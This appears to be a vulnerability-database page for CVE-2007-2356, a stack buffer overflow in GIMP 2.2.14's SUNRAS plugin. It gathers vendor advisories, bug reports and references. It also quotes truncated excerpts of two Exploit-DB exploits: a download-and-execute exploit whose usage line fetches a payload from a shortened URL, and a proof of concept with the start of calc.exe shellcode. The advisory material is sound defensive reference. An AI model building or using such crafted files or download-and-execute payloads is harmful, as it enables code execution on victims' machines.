CVE-2007-2356
published 2007-04-30CVE-2007-2356: Stack-based buffer overflow in the set_color_table function in sunras.c in the SUNRAS plugin in Gimp 2.2.14 allows user-assisted remote attackers to execute…
PriorityP338medium6.8CVSS 2.0
AVNACMAuNCPIPAP
EXPLOIT
EPSS
15.67%
96.5th percentile
Stack-based buffer overflow in the set_color_table function in sunras.c in the SUNRAS plugin in Gimp 2.2.14 allows user-assisted remote attackers to execute arbitrary code via a crafted RAS file.
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | gimp | < gimp 2.2.14-2 (bookworm) | gimp 2.2.14-2 (bookworm) |
| gimp | gimp | — | — |
| gimp | gimp | >= 0 < 2.2.14-2 | 2.2.14-2 |
| gimp | gimp | >= 0 < 2.2.14-2 | 2.2.14-2 |
| gimp | gimp | >= 0 < 2.2.14-2 | 2.2.14-2 |
| gimp | gimp | >= 0 < 2.2.14-2 | 2.2.14-2 |
CVSS provenance
nvdv2.06.8MEDIUMAV:N/AC:M/Au:N/C:P/I:P/A:P
osv6.8MEDIUM
vendor_debian6.8MEDIUM
vendor_redhat6.8MEDIUM
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-8fv7-cr78-jp82: Stack-based buffer overflow in the set_color_table function in sunras
ghsa_unreviewed·2022-05-01
CVE-2007-2356 [MEDIUM] CWE-787 GHSA-8fv7-cr78-jp82: Stack-based buffer overflow in the set_color_table function in sunras
Stack-based buffer overflow in the set_color_table function in sunras.c in the SUNRAS plugin in Gimp 2.2.14 allows user-assisted remote attackers to execute arbitrary code via a crafted RAS file.
OSV
CVE-2007-2356: Stack-based buffer overflow in the set_color_table function in sunras
osv·2007-04-30·CVSS 6.8
CVE-2007-2356 [MEDIUM] CVE-2007-2356: Stack-based buffer overflow in the set_color_table function in sunras
Stack-based buffer overflow in the set_color_table function in sunras.c in the SUNRAS plugin in Gimp 2.2.14 allows user-assisted remote attackers to execute arbitrary code via a crafted RAS file.
Ubuntu
Gimp vulnerability
vendor_ubuntu·2007-05-31
CVE-2007-2356 Gimp vulnerability
Title: Gimp vulnerability
Summary: Gimp vulnerability
It was discovered that Gimp did not correctly handle RAS image format
color tables. By tricking a user into opening a specially crafted RAS
file with Gimp, an attacker could exploit this to execute arbitrary code
with the user's privileges.
Instructions: In general, a standard system upgrade is sufficient to effect the
necessary changes.
Red Hat
Stack overflow in gimp's sunras plugin
vendor_redhat·2007-04-27·CVSS 6.8
CVE-2007-2356 [MEDIUM] Stack overflow in gimp's sunras plugin
Stack overflow in gimp's sunras plugin
Stack-based buffer overflow in the set_color_table function in sunras.c in the SUNRAS plugin in Gimp 2.2.14 allows user-assisted remote attackers to execute arbitrary code via a crafted RAS file.
Debian
CVE-2007-2356: gimp - Stack-based buffer overflow in the set_color_table function in sunras.c in the S...
vendor_debian·2007·CVSS 6.8
CVE-2007-2356 [MEDIUM] CVE-2007-2356: gimp - Stack-based buffer overflow in the set_color_table function in sunras.c in the S...
Stack-based buffer overflow in the set_color_table function in sunras.c in the SUNRAS plugin in Gimp 2.2.14 allows user-assisted remote attackers to execute arbitrary code via a crafted RAS file.
Scope: local
bookworm: resolved (fixed in 2.2.14-2)
bullseye: resolved (fixed in 2.2.14-2)
forky: resolved (fixed in 2.2.14-2)
sid: resolved (fixed in 2.2.14-2)
trixie: resolved (fixed in 2.2.14-2)
No detection rules found.
Exploit-DB
GIMP 2.2.14 (Windows x86) - '.ras' Download/Execute Buffer Overflow
exploitdb·2007-05-09
CVE-2007-2356 GIMP 2.2.14 (Windows x86) - '.ras' Download/Execute Buffer Overflow
GIMP 2.2.14 (Windows x86) - '.ras' Download/Execute Buffer Overflow
---
/*
:: Kristian Hermansen ::
Date: 20070509
Description: Gimp 2.2.14 RAS vuln, thanks to Marsu. This one is universal
download and exec using call esp in libgimpcolor-2.0-0.dll.
Vulnerable: Gimp 2.2.14
Tested: Gimp 2.2.14 on Windows Vista, XP, 2000
Compile: gcc -o netsniper-gimpu netsniper-gimpu.c
Usage: ./netsniper-gimpu http://tinyurl.com/32h99k ubuntu.ras
*/
#include
#include
#include
char RAS[]=
"\x59\xa6\x6a\x95\x00\x00\x01\xfd\x00\x00\x01\xb6\x00\x00\x00\x08"
"\x00\x03\x68\x94\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x03\x29"
"\x1b\xff\xbc\xef\x73\xd9\x13\x00\x70\xf0\xcc\x8d\x99\x50\xf1\xf7"
"\xac\x4d\xf0\xab\xe0\xec\xef\x2e\xe5\x8c\xef\xa6\x33\x8c\xc6\xfa"
"\xfe\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
Exploit-DB
GIMP 2.2.14 - '.ras' SUNRAS Plugin Buffer Overflow
exploitdb·2007-04-26
CVE-2007-2356 GIMP 2.2.14 - '.ras' SUNRAS Plugin Buffer Overflow
GIMP 2.2.14 - '.ras' SUNRAS Plugin Buffer Overflow
---
/*****************************************************************************\
* *
* Gimp v2.2.14 .RAS File SUNRAS Plugin Buffer Overflow *
* *
* *
* Gimp uses SUNRAS plugin to process .RAS file. But this module is vulnerable *
* to a buffer overflow in set_color_table which leads to code execution. *
* *
* Vulnerable code, sunras.c:862 *
* *
* int ncols, j; *
* guchar ColorMap[256*3]; *
* *
* ncols = sunhdr->l_ras_maplength / 3; *
* if (ncols *
\*****************************************************************************/
#include "stdio.h"
#include "stdlib.h"
/* win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char CalcShellcode[] =
"\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74
Bugzilla
CVE-2007-2356 Stack overflow in gimp's sunras plugin
bugzilla·2007-05-02·CVSS 6.8
CVE-2007-2356 [MEDIUM] CVE-2007-2356 Stack overflow in gimp's sunras plugin
CVE-2007-2356 Stack overflow in gimp's sunras plugin
*** This bug has been marked as a duplicate of 238420 ***
*** This bug has been marked as a duplicate of 238420 ***
Bugzilla
CVE-2007-2356 Stack overflow in gimp's sunras plugin
bugzilla·2007-04-30·CVSS 6.8
CVE-2007-2356 [MEDIUM] CVE-2007-2356 Stack overflow in gimp's sunras plugin
CVE-2007-2356 Stack overflow in gimp's sunras plugin
+++ This bug was initially created as a clone of Bug #238420 +++
Description of problem:
There is a possible stack-based buffer overrun in function
plug-ins/common/sunras.c:set_color_table() that can be exploited by an
attacker to trigger execution of arbitrary code via crafted Sun RAS file.
Version-Release number of selected component (if applicable):
Affects: RHEL2.1
Affects: RHEL3
Affects: RHEL4
Affects: RHEL5
Affects: FC5
Affects: FC6
Steps to Reproduce:
Either use the program referred to in URL to generate a POC, or use one
that is attached to this bug.
Additional info:
Though I have reproduced a crash on all supported systems, as enumerated
above, for some unknown reason gdb was detaching from the plugin run with
GIMP_PLUG
Bugzilla
CVE-2007-2356 Stack overflow in gimp's sunras plugin
bugzilla·2007-04-30·CVSS 6.8
CVE-2007-2356 [MEDIUM] CVE-2007-2356 Stack overflow in gimp's sunras plugin
CVE-2007-2356 Stack overflow in gimp's sunras plugin
Description of problem:
There is a possible stack-based buffer overrun in function
plug-ins/common/sunras.c:set_color_table() that can be exploited by an
attacker to trigger execution of arbitrary code via crafted Sun RAS file.
Version-Release number of selected component (if applicable):
Affects: RHEL2.1
Affects: RHEL3
Affects: RHEL4
Affects: RHEL5
Affects: FC5
Affects: FC6
Steps to Reproduce:
Either use the program referred to in URL to generate a POC, or use one
that is attached to this bug.
Additional info:
Though I have reproduced a crash on all supported systems, as enumerated
above, for some unknown reason gdb was detaching from the plugin run with
GIMP_PLUGIN_DEBUG=sunras, so I was unable to do a depth-in investigation.
I
http://lists.suse.com/archive/suse-security-announce/2007-May/0005.htmlhttp://secunia.com/advisories/25012http://secunia.com/advisories/25111http://secunia.com/advisories/25167http://secunia.com/advisories/25239http://secunia.com/advisories/25346http://secunia.com/advisories/25359http://secunia.com/advisories/25466http://secunia.com/advisories/25573http://secunia.com/advisories/28114http://security.gentoo.org/glsa/glsa-200705-08.xmlhttp://sunsolve.sun.com/search/document.do?assetkey=1-26-103170-1http://sunsolve.sun.com/search/document.do?assetkey=1-66-201320-1http://www.debian.org/security/2007/dsa-1301http://www.mandriva.com/security/advisories?name=MDKSA-2007:108http://www.redhat.com/support/errata/RHSA-2007-0343.htmlhttp://www.securityfocus.com/archive/1/467231/100/0/threadedhttp://www.securityfocus.com/bid/23680http://www.securitytracker.com/id?1018092http://www.ubuntu.com/usn/usn-467-1http://www.vupen.com/english/advisories/2007/1560http://www.vupen.com/english/advisories/2007/4241https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=238422https://exchange.xforce.ibmcloud.com/vulnerabilities/33911https://issues.rpath.com/browse/RPL-1318https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10054https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5960http://lists.suse.com/archive/suse-security-announce/2007-May/0005.htmlhttp://secunia.com/advisories/25012http://secunia.com/advisories/25111http://secunia.com/advisories/25167http://secunia.com/advisories/25239http://secunia.com/advisories/25346http://secunia.com/advisories/25359http://secunia.com/advisories/25466http://secunia.com/advisories/25573http://secunia.com/advisories/28114http://security.gentoo.org/glsa/glsa-200705-08.xmlhttp://sunsolve.sun.com/search/document.do?assetkey=1-26-103170-1http://sunsolve.sun.com/search/document.do?assetkey=1-66-201320-1http://www.debian.org/security/2007/dsa-1301http://www.mandriva.com/security/advisories?name=MDKSA-2007:108http://www.redhat.com/support/errata/RHSA-2007-0343.htmlhttp://www.securityfocus.com/archive/1/467231/100/0/threadedhttp://www.securityfocus.com/bid/23680http://www.securitytracker.com/id?1018092http://www.ubuntu.com/usn/usn-467-1http://www.vupen.com/english/advisories/2007/1560http://www.vupen.com/english/advisories/2007/4241https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=238422https://exchange.xforce.ibmcloud.com/vulnerabilities/33911https://issues.rpath.com/browse/RPL-1318https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A10054https://oval.cisecurity.org/repository/search/definition/oval%3Aorg.mitre.oval%3Adef%3A5960
2007-04-30
Published